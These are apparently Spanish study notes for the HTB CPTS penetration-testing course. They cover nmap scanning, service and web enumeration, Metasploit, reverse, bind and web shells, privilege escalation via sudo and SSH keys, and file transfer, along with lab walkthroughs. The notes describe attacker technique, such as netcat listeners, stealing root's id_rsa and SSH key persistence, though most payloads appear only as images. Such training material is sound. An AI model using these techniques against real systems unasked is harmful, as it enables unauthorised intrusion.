Cheatsheets

Certification
Cheatsheets

CPTS

1. Estructura De Carpetas En Pentest Y Toma De Notas

Estructura

PROYECTOS/

  • EMPRESA
    • Pentest Externo
      • Evidencias
        • Credenciales
        • Datos
        • Capturas
      • Logs
      • Escaneos
      • Objetivos
      • Herramientas
    • Pentest Interno
      • Evidencias
        • Credenciales
        • Datos
        • Capturas
      • Logs
      • Escaneos
      • Objetivos
      • Herramientas

Toma de notas

Obsidian

Automatizacion Estructura de carpetas

![[Pasted image 20260324204958.png]]

CPTS

2. VPN Conexion Y Comprobaciones

Conectarse: sudo openvpn archivo_academy.ovpn

Verificaciones:

  1. ifconfig : ver interfaz de red

  2. netstat -rn : redes accesibles desde VPN

![[Pasted image 20260325233452.png]]

  1. ping -c 1 IP:

     Linux: TTL 63
     Windows: TTL 127

![[Pasted image 20260325233444.png]]

CPTS

3. Puertos Importantes

![[Pasted image 20260324210628.png]]

Automatismo nmap puertos

![[Pasted image 20260325202636.png]]

CPTS

4. Conexiones SSH Y Netcat

SSH - 22

SSH (22) es un protocolo de acceso remoto seguro. Nos podemos autenticar con credenciales (user:pass) o mediante una clave publica (pub_key o id_rsa)

ssh user@IP
	Enter Password: PASSWORD

ssh user@IP -i id_rsa

![[Pasted image 20260324231936.png]]

Netcat

Con netcat podemos conectarnos al puerto que queramos y podemos sacar su banner

nc -nv IP PUERTO

![[Pasted image 20260324231950.png]]

socat es una opcion que tiene opciones que netcat no pero veremos mas adelante

CPTS

5. Escaneo De Servicios Y Atacandolos

Apuntes Nmap de EJPTv2:

(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>

***-sS necesita sudo***

Parametros Host Discovery

nmap -sn <IP | IP_red/mascara>

Realiza ping sweep para ver si el host destino esta levantado

Parametros PortScanning

Parametro Explicacion
Sin parametros Hace un SYN scan de los 1000 puertos mas usados
-Pn Omite la verificacion ping del principio por si el sistema la deniega
-p- Escanea todos los 65.535 puertos
-p N o N,N o N-N Escanea un puerto especifico, puertos especificos o un rango de puertos
-F Escanea los 100 puertos mas usados
-sU Escanea puertos UDP
-sV Escanea en busca de las versiones especificas de los puertos encontrados
-sC Escanea y usa scripts .nse para obtener mas informacion de los puertos
-O Intenta averiguar el SO del host
-A Escaneo agresivo que es como juntar (-sV -sC -O)
-T 0-5 o palabras Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane)
-o(N,X,G,A) archivo Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos)
Para MSF .xml -oX
-sS Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo)
-sT Escaneo normal ya que termina el 3 way handshake

Buscar scripts:

ls -la /usr/share/nmap/scripts/ | grep -e "ftp"
locate /scripts/ftp

EJEMPLO ![[Pasted image 20260324212501.png]] ![[Pasted image 20260324212513.png]]

Buscar info del SO y distro

![[Pasted image 20260324212254.png]]

Buscardor: 1:<SUBRAYADO_AZUL> ![[Pasted image 20260324212404.png]]![[Pasted image 20260324212421.png]]

Atacando servicios red

En nmap podemos conseguir algunos banner grabbing y asi obtener versiones, sino podemos usar netcat

nc -nv IP PUERTO

![[Pasted image 20260324212722.png]]

FTP

![[Pasted image 20260324212919.png]]

Permite login anonimo y se encuentra un archivo login.txt ![[Pasted image 20260324212937.png]]

SMB

Se ejecuto un script para sacar el SO de la maquina y se encontro Windows 7 que es vulnerable a EternalBlue que podriamos explotar con MSF

![[Pasted image 20260324213024.png]]

Otro ejemplo pero con Samba usando -A para sacar todo lo posible. Vemos version de Samba, Linux distro y su hostname de NetBIOS: ![[Pasted image 20260324213138.png]]

Podemos tratar de listar los shares con smbclient o smbmap:

Listado (-L) de forma anonima (-N): ![[Pasted image 20260324213310.png]]

Nos tratamos de conectar con el usuario guest (suele estar siempre presente) pero no deja: ![[Pasted image 20260324213429.png]]

Con credenciales validas: ![[Pasted image 20260324213450.png]]

SNMP

Nos proporcionan cadenas comunitarias que nos dan informacion estatica de los ruters y otros dispositivos de la red

Las dos cadenas comunitarias por defecto son:

  • public
  • private

Versiones SNMP:

  • 1 y 2c: permitian autenticacion usando la cadena comunitaria en texto claro. Si te la sabes el nombre estas dentro

    snmpwalk -v VERSION -c CADENA_COMUNITARIO OID

![[Pasted image 20260324213952.png]]

OID es como se piden las cosas en SNMP (no se usan nombres como hostname). Lista de OIDs mas usados:

OID Que nos da
1.3.6.1.2.1.1.1.0 Descripcion del sistema
1.3.6.1.2.1.1.5.0 Hostname (usado en las imagenes)
1.3.6.1.2.1.1.4.0 Contacto
1.3.6.1.2.1.25.4.2.1.2 Procesos
  • 3: se añadio encriptacion y autenticacion

Examinando los parametros de los procesos podemos obtener credenciales pasadas por linea de comandos, routing info, otras interfaces, version de softwares instalados….

onesixtyone: es una herramientas con la que podemos sacar cadenas comunitarias a base de fuerza bruta

onesixtyone -c WORDLIST IP

![[Pasted image 20260324214512.png]]

La wordlist dict.txt es una wordlist que viene con la herramienta descargada de github en: https://github.com/trailofbits/onesixtyone

LABORATORIO

CPTS

6. WEB Enum

Que es un webserver

Aplicacion que corre en un servidor back-end y gestiona peticiones HTTP del lado del cliente (navegador) y es el responsable de conectar a los usuarios finales con webapps

Puerto 80 y 443

OWASP Top 10 es una lista de las 10 vulnerabilidades mas peligrosas (no es una lista exahustiva)

![[Pasted image 20260324210948.png]]![[Pasted image 20260324210958.png]]

Webservers hosts webapps (a veces mas de una)

Gobuster

Tras descubrir una aplicacion web debemos ver los directorios y recursos escondidos que pueden tener funcionalidades que deberian estar ocultas

Enumeracion de directorios

Herramientas como gobuster o ffuf pueden realizar enumeracion de directorios

gobuster dir -u http://IP/ -w WORDLIST
WORDLIST: /usr/share/seclists/Discovery/Web-Content/common.txt

Encontramos un /wordpress por lo que el CMS es WordPress:

![[Pasted image 20260324223051.png]]

Status Codes:

  • 200 Success
  • 301 Redirect
  • 403 Forbidden

Lo visitamos http://1IP/wordpress: ![[Pasted image 20260324223301.png]]

Enumeracion de subdominios

Descargamos la SecList que contiene muchas wordlists que usaremos:

git clone https://github.com/danielmiessler/SecLists
sudo apt install seclists -y

Antes de continuar añadiremos el DNS 1.1.1.1 a /etc/resolv.conf

Obtenemos el dominio (inlanefreight.com)

nslookup IP IP 

Realizamos el escaneo de subdominios:

gobuster dns -d DOMINIO -w  WORDLIST
WORDLIST: /usr/share/SecLists/Discovery/DNS/namelist.txt

Encontramos varios NS (nameservers) y varios subdominios que pueden ser atacados:

![[Pasted image 20260324223730.png]]

TIPS para web enum

Nos dara informacion del framework usado, optiones de autenticacion…

curl -IL http://domain|subdomain|IP

![[Pasted image 20260324224044.png]]

Otra herramienta que podemos usar es EyeWitness. Esta herramienta realiza:

  • Screenshots de la pagina web

  • Fingerprinting de esta

  • Identifica posibles creds default

    eyewitness -f lista_ips.txt -d directorio_local_guardar –add-http-ports PUERTOS_NO_STANDARD

En lista_ips.txt podemos poner el directorio que queremos por ejemplo IP/wordpress

Nos da dos columnas una con la Info del web request y la otra con el screenshot de ese recurso/directorio:

![[Pasted image 20260324225045.png]]

whatweb

Extraer version del server, frameworks, application que usa…

whatweb IP

![[Pasted image 20260324225226.png]]

whatweb --no-errors IP_red/Mascara

![[Pasted image 20260324225352.png]]

Mirando certificados SSL/TLS

Estos pueden darnos alguna info extra como nombre de empresa, emails… que pueden ser usados para phising

![[Pasted image 20260324225501.png]]

robots.txt

/robots.txt es un recurso que se usa para decir al buscador que si y que no se puede acceder mediante indexacion. Podemos ver en el alguna localizacion privada como archivos y admin pages

![[Pasted image 20260324225645.png]]

Navegamos a private: ![[Pasted image 20260324225705.png]]

Codigo fuente

Mirando el codigo fuente tambien podemos sacar informacion muy valiosa

Ctl + U

![[Pasted image 20260324225810.png]]

LABORATORIO

![[Pasted image 20260325151402.png]]![[Pasted image 20260325151413.png]] Nada en el codigo fuente

Vamos a realizar un ataque de fuerza bruta de directorios a ver si encontramos algo: ![[Pasted image 20260325151538.png]]

Encontramos varios pero nos fijamos en el robots.txt: ![[Pasted image 20260325151611.png]]

Vemos un recurso de login para admins, lo visitamos: ![[Pasted image 20260325151644.png]]

Miramos el codigo fuente: ![[Pasted image 20260325151705.png]]![[Pasted image 20260325151720.png]]![[Pasted image 20260325151731.png]]

CPTS

7. Exploits Publicos

Una vez que hemos hecho el escaneo de versiones y puertos el siguiente paso es encontrar exploits en fuentes publicas

Encontrando exploits en fuentes publicas

![[Pasted image 20260325152010.png]]

Searchsploit y Exploit DB

searchsploit PROTOCOLO VERSION PLATAFORMA...

![[Pasted image 20260325152038.png]]

ExploitDB: https://www.exploit-db.com/ Rapid7: https://www.rapid7.com/db/ Vulnerability Lab: https://www.vulnerability-lab.com/

Metasploit

Es una herramienta que contiene exploits preconstruidos para muchas vulnerabilidades conocidas

Con esta herramienta se puede:

  • Correr scripts de reconocimiento para enumerar hosts remotos y comprometer los objetivos

  • Verificar si el objetivo es vulnerable a ese script o vulnerabilidad antes de comprometerlo

  • Conectar shells y correr comandos en los objetivos comprometidos

  • PostExploit y pivoting tools

    msfconsole search type:exploit name:NOMBRE_VULN platform: PLATAFORMA search PROTOCOLO VERSION PLATAFORMA use RUTA_EXPLOIT | NUMERO show options set OPTION VALOR check run | exploit

![[Pasted image 20260325152550.png]]![[Pasted image 20260325152600.png]]![[Pasted image 20260325152734.png]]![[Pasted image 20260325152745.png]]![[Pasted image 20260325152753.png]]![[Pasted image 20260325152801.png]]![[Pasted image 20260325152809.png]]

LABORATORIO

![[Pasted image 20260325153445.png]]

Vemos dos Apache 2.4.41: ![[Pasted image 20260325153550.png]]

Si miramos la pagina principal encontramos lo siguiente: ![[Pasted image 20260325154844.png]]

Si buscamos en searchsploit algun exploit encontramos uno de lectura transversal de archivos: ![[Pasted image 20260325154913.png]]

Vamos a mirar si existe en MSF para automatizarlo: ![[Pasted image 20260325154957.png]]![[Pasted image 20260325155007.png]]![[Pasted image 20260325155020.png]]![[Pasted image 20260325155032.png]]![[Pasted image 20260325155040.png]]

Funciona, ahora vamos a ver la /flag.txt ![[Pasted image 20260325155106.png]]

CPTS

8. Tipos De Shell

Una vez que comprometamos el objetivo necesitaremos ejecutar comandos en el. Algunas formas de conectarse son mediante SSH en Linux o WinRM en Windows

Otro metodo metodo para acceder al host y tener control y ejecucion remota de codigo es mediante shells. 3 tipos:

![[Pasted image 20260325155512.png]]

Reverse Shell

Una vez que hemos identificado una vulnearbildiad en el host que nos permita ejecutar codigo, abrimos netcar como listener en uno de nuestros puertos y ejecutamos un comando reverse shell en la maquina objetivo que nos devuelva un shell listener

Listener: nc -nvlp PUERTO

![[Pasted image 20260325155647.png]]

Miramos nuestra IP local: ip a\

![[Pasted image 20260325155744.png]]

Ejecutamos codigo reverse shell en la maquina objetivo: 

Pagina con codigos reverse shell: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#php

	1. Bash

![[Pasted image 20260325155849.png]]

	2. Powershell

![[Pasted image 20260325155901.png]]

o

![[Pasted image 20260325155918.png]]

Obtenemos el shell en nuestro listener

![[Pasted image 20260325160025.png]]

Bind Shell

Es exactamente al reves que reverse shell. El listener estara en la maquina objetivo y desde nuestra maquina atacante ejecutaremos el codigo shell para enviarle una shell

Listener en el objetivo: nc IP_objetivo PUERTO

![[Pasted image 20260325160159.png]]

Ejecutamos codigo shell en nuestra maquina hacia la IP atacante y obtenemos shell:

	1. Bash

![[Pasted image 20260325160244.png]]

	2. Powershell

![[Pasted image 20260325160305.png]]

o

![[Pasted image 20260325160313.png]]

	3. Netcat: nc IP_objetivo PUERTO_ABIERTO

![[Pasted image 20260325160606.png]]

Upgradeando shell

Hay multiples formas pero lo haremos con python:

  1. En la shell obtenida:

    python –version python -c ‘import pty; pty.spawn(“/bin/bash”)’ Ctl Z

![[Pasted image 20260325161132.png]]![[Pasted image 20260325161140.png]]

  1. En nuestra terminal:

    stty raw -echo fg Doble ENTER

![[Pasted image 20260325161153.png]]

  1. En este punto ya tenemos una tty interactiva completa pero veremos que no cubre la pantalla completa. En otra terminal nuestra ejecutamos lo siguiente:

    echo $TERM stty size

![[Pasted image 20260325161202.png]] ![[Pasted image 20260325161214.png]]

  1. Volviendo a la shell del objetivo:

    export TERM=xterm-256color stty rows N1 colums N2

![[Pasted image 20260325161236.png]]

Ya estaria una shell igual que si nos conectasemos por SSH

WebShell

Es un script shell escrito en PHP o APSX (dependiendo de lo que corra el webserver) que intercepta parametros de peticiones HTTP como GET y POST, ejecuta comandos y los imprime por pantalla

PHP

![[Pasted image 20260325161446.png]]

JSP

![[Pasted image 20260325161605.png]]

ASP Clasico

![[Pasted image 20260325161613.png]]

Cargando el webshell en el webserver

Necesitaremos cargar este codigo en un directorio del webserver para poder ejecutarlo porsteriormente

webroots: ![[Pasted image 20260325161722.png]]

Si tenemos ya ejecucion remota en el objetivo de comandos podemos hacer lo siguiente, sino lo tendremos que subri de otra manera como aprovechandonos de alguna vulnerabilidad:

![[Pasted image 20260325161908.png]]

Accediendo al webshell

Tenemos que navegar hasta la ruta donde se encuentra y luego usar:

?cmd=COMANDOS

![[Pasted image 20260325162013.png]]

Con curl: ![[Pasted image 20260325162031.png]]

Tambien se puede hacer con el repeater de Burp

CPTS

9. Privelege Escalation

Normalmente nuestro primer acceso a un servidor es como un usuario de bajos privilegios. Para ganar acceso total necesitaremos encontrar una vulnerabilidad local para escalar nuestros privielegios a root en Linux o admisnitrator o SYSTEM en Windows

PrivEsc Checklist

HackTricks : es una checklist de cosas que mirar para Linux y Windows para escalar de forma local

Linux:

![[Pasted image 20260325163445.png]]

Windows:

![[Pasted image 20260325163513.png]]

PayloadsAllTheThings : tambien tiene una checklist de cosas que mirar

Scripts de enumeracion

  1. Linux:  LinEnum o

  2. Windows: JAWS

  3. Ambas: Privilege Escalation Awesome Scripts SUITE (PEASS) Para Windows dentro del repo se llama winPEAS y para Linuc linPEAS

![[Pasted image 20260325163954.png]]

Kernel Exploits

Si entramos en un host antiguo podemos mirar vulns del kernel Ejemplo: 3.9.0-73-generic, si buscamos en searchsploit o por Google encontraremos el exploit llamado DirtyCow

Sw vulnerable

Linux: dpkg -l
Windows:  C:\Program Files

Esto nos permitira ver sw instalado en el sistema y podemos mirar por exploits sobretodo si una version antigua esta en uso y no se ha parcheado

Usar privilegios

Ver lo que somos capaces de hacer:

Sudo
SUIDs
Windows Token Privilege
  1. Sudo nos permite ejecutar comandos como otro usuario. Se suele usar para permitir a usuarios de bajos privilegios ejecutar comandos con privilegios altos como root (por ejemplo tcpdump solo puede ser ejecutado como root)

     sudo -l : ver nuestros privs

![[Pasted image 20260325164748.png]]

Vemos que dice que podemos correr todos los comandos con sudo. Podemos cambiar de usuario a root ejecutado su:

![[Pasted image 20260325164940.png]]

Otra veces solo podremos ejecutar cosas especificas con sudo, pero podriamos usar eso para escalar privs: ![[Pasted image 20260325165020.png]]

GTFOBins : contiene una lista de comandos que pueden ser explotados con sudo

Tareas programadas

Hay metodos en ambos sistemas operativos para hacer que scripts y tareas se ejecuten cada cierto tiempo

Linux: crobjobs
Windows: Schedule Tasks

Hay 2 formas de usarlas para escalar privilegios:

  1. Añadir una nueva tarea programada
  2. Engañarla para ejecute codigo malicioso con los privs de ese usuario

Si podemos escribir en un directorio llamado por cron podriamos escribir un script bash para que ejecute un reverse shell

Linux:

cat /etc/*cron
Rutas:
	1. /etc/crontab
	2. /etc/cron.d
	3. /var/spool/cron/crontabs/root

Credenciales expuestas

Podemos buscar archivos que podamos leer que puedan tener credenciales expuestas.

Archivos de configuracion
Archivos de log 
Bash history o PSReadLine

Los scripts de enumeracion suelen buscar estos archivos en busca de creds potenciales: ![[Pasted image 20260325165938.png]]

Podemos ver las credenciales expuestas de un usuario mysql. Podemos ver si es vulnerable a password reuse y tambien podriamos conectarnos por ssh:

![[Pasted image 20260325170021.png]]

SSH Keys

/home/user/.ssh/id_rsa
/root/.ssh/id_rsa 

Son claves publicas que pueden ser usadas para conectarnos por ssh sin necesidad de conocer la contraseña

En el sistema objetivo cat /ruta/id_rsa

En nuestro sistema nano id_rsa Pegamos todo el contenido chmod 600 id_rsa ssh root@IP -i id_rsa

![[Pasted image 20260325170326.png]]

Si encontramos que tenemos permisos de escritura en nuestro .ssh podemos crear nuestas propias keys para poder conectarnos posteriormente. Esto se suele hacer para ganar persistencia por ssh tras obtener una shell

ssh-keygen -f key

![[Pasted image 20260325170704.png]]

Generara dos archivos:

1. key : lo usaremos con -i para conectarnos
2. key.pub : lo copiaremos en el sitema objetivo en /ruta/id_rsa

![[Pasted image 20260325170717.png]] ![[Pasted image 20260325170728.png]]

LABORATORIO

![[Pasted image 20260325171031.png]]![[Pasted image 20260325171044.png]]

No tenemos permisos de lectura en la carpeta de user2

Aqui vemos que tenemos permisos sudo para el binario /bin/bash ![[Pasted image 20260325171113.png]]

Creamos una shell interactiva con el usuario user2 para leer la flag: ![[Pasted image 20260325171158.png]]

Conseguir persistencia via ssh en user2: ![[Pasted image 20260325172246.png]]![[Pasted image 20260325172259.png]]![[Pasted image 20260325172311.png]]

Pasamos linpeash: ![[Pasted image 20260325173200.png]]![[Pasted image 20260325173209.png]]

Lo ejecutamos: ![[Pasted image 20260325173246.png]]

Vemos que ha obtenido el id_rsa de root: ![[Pasted image 20260325173552.png]]

Lo copiamos y pegamos en nuestro host de ataque, le damos permisos necesarios y nos conectamos: ![[Pasted image 20260325173725.png]]![[Pasted image 20260325173750.png]]

CPTS

10. Transferencia De Archivos

Durante un pentest necesitaremos subir archivos al objetivo o descargarlos.

Herramientas como MSF con shell Meterpreter permiten subir y descargar rapidamente archivos con paremetros como:

upload /ruta/archivo_local
download /ruta/archivo_remoto

Usando wget

Un metodo es crear un server HTTP con python y despues usar desde el objetivo Linux wget o curl:

En nuestra maquina: cd /tmp python3 -m http.server 80 o python -m SimpleHTTPServer 80

En la maquina objetivo: wget http://IP:80/archivo curl http://IP:80/archivo -o nombre_archivo

Usando scp

Si tenemos credenciales ssh podemos usar scp

Subir un archivo:

scp archivo_local USER@IP:/ruta/remota/archivo

Descargar:

scp USER@IP:/ruta/remota/archivo archivo

Usando Base64

Habra veces que no podamos subir un archivo debido al firewall y tendremos que pasar el contenido del archivo a base64, pegarlo en sistema remoto y decodificarlo

  1. Desde nuestra maquina:

     Linux:  base64 archivo -w 0   (-w 0 porque es un binario)
     Windows: [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\ruta\archivo"))
  2. Maquina remota

     Linux:   echo 'BASE64' | base64 -d > archivo
     Windows: [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("BASE64"))

Validando archivos

file archivo : validar el formato de un archivo
md5sum archivo : se ejecuta en ambos sistemas para ver si el hash coincide

CPTS

Maquina

Realizamos un escaneo de puestos basico

![[Pasted image 20260326142725.png]]

Vamos a ver la pagina web para saber a lo que nos enfrentamos y encontramos el CMS GetSimple

![[Pasted image 20260326142924.png]]![[Pasted image 20260326143024.png]]

Hemos visto que tiene un /robots.txt con un /admin/ ![[Pasted image 20260326143102.png]] ![[Pasted image 20260326143148.png]]

Vamos a enumerar directorios con gobuster antes de intentar nada de fuerza bruta a ver si encontramos info:

![[Pasted image 20260326143439.png]]

En /data/users/admin.xml encontramos lo que parece ser un hash y un usuario admin:

![[Pasted image 20260326171654.png]]

![[Pasted image 20260326173132.png]]

Encontramos las credenciales admin:admin por lo que intentamos entrar al cms por el panel de login admin

![[Pasted image 20260326173210.png]]

Dentro vemos que se trata de la version GetSimple 3.5.15

![[Pasted image 20260326173229.png]]

Buscamos vulns con searchsploit

![[Pasted image 20260326173339.png]]

Buscamso en internet a ver si encontramos algo

![[Pasted image 20260326173355.png]]

Aqui como hemos visto hay una vulnerabilidad en MSF que podemos automatizar

![[Pasted image 20260326173435.png]] ![[Pasted image 20260326181041.png]]![[Pasted image 20260326181005.png]]

Vemos que no es vulnerable de esta forma.

Pero vamos a hacer de forma manual:

![[Pasted image 20260326173915.png]]![[Pasted image 20260326174001.png]]![[Pasted image 20260326174011.png]]![[Pasted image 20260326174153.png]]![[Pasted image 20260326174238.png]]

Como hemos visto no nos deja abrirlo directamente (es debido al codigo php anterior), probamos con un reverse shell directamente borrando todo el contenido

![[Pasted image 20260326174759.png]]![[Pasted image 20260326174456.png]]

Abrimos un listener

![[Pasted image 20260326174510.png]]![[Pasted image 20260326174911.png]]

Estamos dentro y conseguimos la primera flag

![[Pasted image 20260326174843.png]]

Escala de privs

Podemos usar php como sudo sin contraseña, por lo que podemos crear un reverse shell php y ejecutarlo con privs de root

![[Pasted image 20260326180244.png]] ![[Pasted image 20260326175557.png]]

Antes abrimos nuestro listener

![[Pasted image 20260326175635.png|341]]

Ejecutamos el shell

![[Pasted image 20260326175605.png]]

Obtenemos el shell root y obtenemos la ultima flag

![[Pasted image 20260326175617.png]]

![[Pasted image 20260326175743.png]]

CPTS

1. Enumeracion

![[Pasted image 20260325224928.png]]![[Pasted image 20260325225111.png]]

CPTS

2. WEB Footprinting

![[Pasted image 20260325225215.png]]![[Pasted image 20260325225225.png]]![[Pasted image 20260325225251.png]]![[Pasted image 20260325225307.png]]![[Pasted image 20260325225417.png]] ![[Pasted image 20260325225655.png|687]]![[Pasted image 20260325225932.png]]![[Pasted image 20260325225732.png]]![[Pasted image 20260325225746.png]]![[Pasted image 20260325225809.png]]

Usuario: admin

No encontramos la password

![[Pasted image 20260325225834.png]]

![[Pasted image 20260325225950.png]]

Podemos probar hydra:

![[Pasted image 20260325230156.png]]![[Pasted image 20260325230411.png]]

![[Pasted image 20260325230612.png]]

![[Pasted image 20260325230707.png]]![[Pasted image 20260325230724.png]]![[Pasted image 20260325230751.png]]![[Pasted image 20260325230801.png]]![[Pasted image 20260325230809.png]]![[Pasted image 20260325230840.png]]![[Pasted image 20260325230854.png]]![[Pasted image 20260325230903.png]]![[Pasted image 20260325231006.png]]

Parece no ejecutarse, vamos a probar con reverse shell en bash

![[Pasted image 20260325231140.png]]![[Pasted image 20260325231207.png]]![[Pasted image 20260325231214.png]]![[Pasted image 20260325231231.png]]![[Pasted image 20260325231258.png]]

Nada vamos con un webshell ![[Pasted image 20260325231402.png]]![[Pasted image 20260325231427.png]]

Ahora si es un php con codigo bash dentro. Vamos a subir esto con en vez de id un reverse shell

![[Pasted image 20260325231712.png]]![[Pasted image 20260325231545.png]]![[Pasted image 20260325231749.png]]![[Pasted image 20260325231757.png]]![[Pasted image 20260325232240.png]]![[Pasted image 20260325232321.png]]![[Pasted image 20260325232626.png]]![[Pasted image 20260325232636.png]]![[Pasted image 20260325232720.png]]![[Pasted image 20260325232918.png]]![[Pasted image 20260325233057.png]]

![[Pasted image 20260325233210.png]] ![[Pasted image 20260325233203.png]]![[Pasted image 20260325233231.png]]![[Pasted image 20260325233247.png]]

CON MSF

![[Pasted image 20260325233943.png]]![[Pasted image 20260325233952.png]]![[Pasted image 20260325233958.png]]![[Pasted image 20260325234015.png]]

CPTS

1. Host Discovery

(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>

***-sS necesita sudo***

Parametros Host Discovery

Parametro Explicacion
-sn Desactiva portscan para el host discovery de varias formas:
- ICMP Echo Request (ping clásico)
- ICMP Timestamp
- TCP SYN a puerto 443
- TCP ACK a puerto 80
-sn -PE Solo realizara descubrimiento mediante ICMP echo Request
–pacjet-trace Muestra todos los paquetes que son enviados y recibidos
–reason Nos dice la razon de la respuesta/salida de nmap
–disable-arp-ping Por defecto tambien usa ARP request y reply para decir si un host esta alive o no. Con esto lo desactivamos

Ejemplo de Multiples IPs

Realiza ping sweep para ver si el host destino esta levantado

nmap -sn <IP_red/mascara\>

Para meter todas las IPs encontradas en una archivo podemos hacer lo siguiente:

sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5 > ips.txt

![[Pasted image 20260327152902.png]]

O si nos dan una lista de IPs:

![[Pasted image 20260327152923.png]]![[Pasted image 20260327152932.png]]

Ejemplo de una IP

Realiza ping sweep para ver si el host destino esta levantado

nmap -sn <IP_red/mascara\>

![[Pasted image 20260327152809.png]]

Usamos -PE para hacer solo ICMP echo request, –reason para ver la razon de la salida de nmap y –packet-trace para ver todos los paquetes enviados y recibidos:

sudo nmap 10.129.2.18 -sn -oA host -PE --reason --packet-trace

![[Pasted image 20260327152759.png]]

Aqui podemos ver como nmap usa ARP request y reply para saber si esta alive o no. Para deshabilitarlo usamos –disable-arp-ping

sudo nmap 10.129.2.18 -sn -oA host -PE --packet-trace --disable-arp-ping

![[Pasted image 20260327152748.png]]

CPTS

2. Estado De Puertos

Estado Explicacion
open La conexion con el puerto escaneado se ha establecido (TCP,UDP o SCTP associations)
closed Significa que el paquete TCP recibido contiene la flag RST
filtered Nmap no puede identificar correctamente si el puerto esta abierto o cerrado porque no se devuelve ninguna de las dos respuestas o se nos devolvio un codigo de error desde el objetivo
unfiltered Solo ocurre en scaneos TCP-ACK y significa que el puerto es accesible pero no se puede determinar si cerrado o abierto
open|filtered Si no recibimos ninguna respuesta del puerto. Esto puede indicar que el firewall o filtro de paquetes protege el puerto
closed|filtered Solo en escaneos IP ID idle e indica que es imposible de determinar si el puerto esta cerrado o filtrado

CPTS

3. Port Scanning

Parametros

Parametro Explicacion
Sin parametros Hace un SYN scan de los 1000 puertos mas usados
-p- Escanea todos los 65.535 puertos
-p N o N,N o N-N Escanea un puerto especifico, puertos especificos o un rango de puertos
-F Escanea los 100 puertos mas usados
–top-ports=N N puertos mas usados
-sV Escanea en busca de las versiones especificas de los puertos encontrados
-sC Escanea y usa scripts .nse para obtener mas informacion de los puertos
-O Intenta averiguar el SO del host
-A Escaneo agresivo que es como juntar (-sV -sC -O)
-T 0-5 o palabras Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane)
-sS Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo)
-sT Escaneo normal ya que termina el 3 way handshake-n
-sU Escanea puertos UDP. Son stateless y no recibimos ACK por eso tarda tanto
-Pn Omite la verificacion ping del principio por si el sistema la deniega
-n Eliminar el DNS resolution
–open Solo puertos open
-o(N,X,G,A) archivo Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos)
Para MSF .xml -oX
xsltproc archivo.xml - archivo.html Pasar archivo xml a htlm para verlo en el browser mas bonito
Buscar scripts:
ls -la /usr/share/nmap/scripts/ | grep -e "ftp"
locate /scripts/ftp

Parametros extra

Paramtro Explicacion
–stats-every=Ns/m Que nos saque como va cada 5s (se puede hacer sin esto solo dando al espacio)
-v/vv Modo verbose
-Pn -n –disable-arp-ping –packet-trace Para ver el flujo de paquetes de forma mucho mas limpia
–trace-route Ver los saltos hasta el objetivo

Filtered ports

Cuando hay puertos filtrados hay muchas opciones pero una es que el firewall tenga reglas especificas para la conexion donde los paquetes pueden ser dropped (firewall ignora el paquete (timeout), tarda mas de lo normal) o rejected (firewall nos rechaza, tarda menos y nos dara un ICMP Type code 3 port unreachable)

  1. Si no recibimos respuesta, esta drop podemos usar (–max-retries N). Ejemplo de drop:

    sudo nmap 10.129.2.28 -p 139 –packet-trace -n –disable-arp-ping -Pn

![[Pasted image 20260327155621.png]]

  1. Si recibimos respuesta pero con un ICMP Type Code 3 unreachable port, es un rejected:

    sudo nmap 10.129.2.28 -p 445 –packet-trace -n –disable-arp-ping -Pn

![[Pasted image 20260327155602.png]]

Puertos UDP

Tarda mucho porque los puertos UDP son stateless y no nos envian ACK.

Normalmente no nos devuelven nada a no ser de que esten configurados para eso

  1. Ejemplo Open: nos da respuesta

    sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 137 –reason

![[Pasted image 20260327155952.png]]

  1. Ejemplo Closed: recibimos un ICMP Type Code 3

    sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 100 –reason

![[Pasted image 20260327160040.png]]

  1. Ejemplo open|filetered: para el resto de respuestas y casos

sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 138 –reason

![[Pasted image 20260327160134.png]]

LABORATORIO

![[Pasted image 20260327160716.png]]![[Pasted image 20260327161413.png]]

CPTS

4. Banner Grabbing

Con Nmap

Con esto conseguimos ver el banner grabbing del puerto y obtener su version

nmap PARAMETROS -sV IP --script banner

![[Pasted image 20260327162205.png]]

Primero intenta sacar la version del banner grabbing y si no puede lo trata de conseguir mediante la firma y mirando en la database. El problema con esto esq puede olvidar informacion importante

Podemos usar:

-Pn -n --disable-arp-ping --packe-trace

Para ver una salida limpia y encontrar el banner grabbing por nosotros mismos y ver asi toda la informacion. Incluso podemos ver que se trata de un Linux Ubuntu

![[Pasted image 20260327162220.png]]

Con nc

nc -nv IP PUERTO

![[Pasted image 20260327163826.png]]

Para ver lo que pasa realmente primero ejecutamos tcpdump:

sudo tcpdump -i INTERFAZ host IP_origen and IP_destino

![[Pasted image 20260327163924.png]]

Ejecutamos el nc:

nc -nv IP PUERTO

![[Pasted image 20260327163936.png]]

En la salida de tcpdump vemos 3 primeras lineas del 3 way handshake y luego un PSH ACK que es donde se envia la informacion del banner grabbing:

![[Pasted image 20260327164054.png]]

LABORATORIO

![[Pasted image 20260327165236.png]]![[Pasted image 20260327165315.png]]

No se ve muy bien pero si lo hacemos solo hacia ese puerto se ve un poco mas facil: ![[Pasted image 20260327165357.png]]

Con nc tambien se puede hacer:

![[Pasted image 20260327165418.png]]

CPTS

5. Nse Nmap

Categorias

![[Pasted image 20260327165506.png]]

Parametros

Parametro Explicacion
-A -sV, -sC, -O
-sC Lanza los scripts mas usados
–script categoria Lanza los scripts de esa categoria
–script name,name –script-args name_arg1=VALUE,name_arg2=VALUE Elegir el script y argumentos si es que lo necesita
–script-help name Ayuda de ese script
Para ver los argumentos tenemso que ir a su pagina web
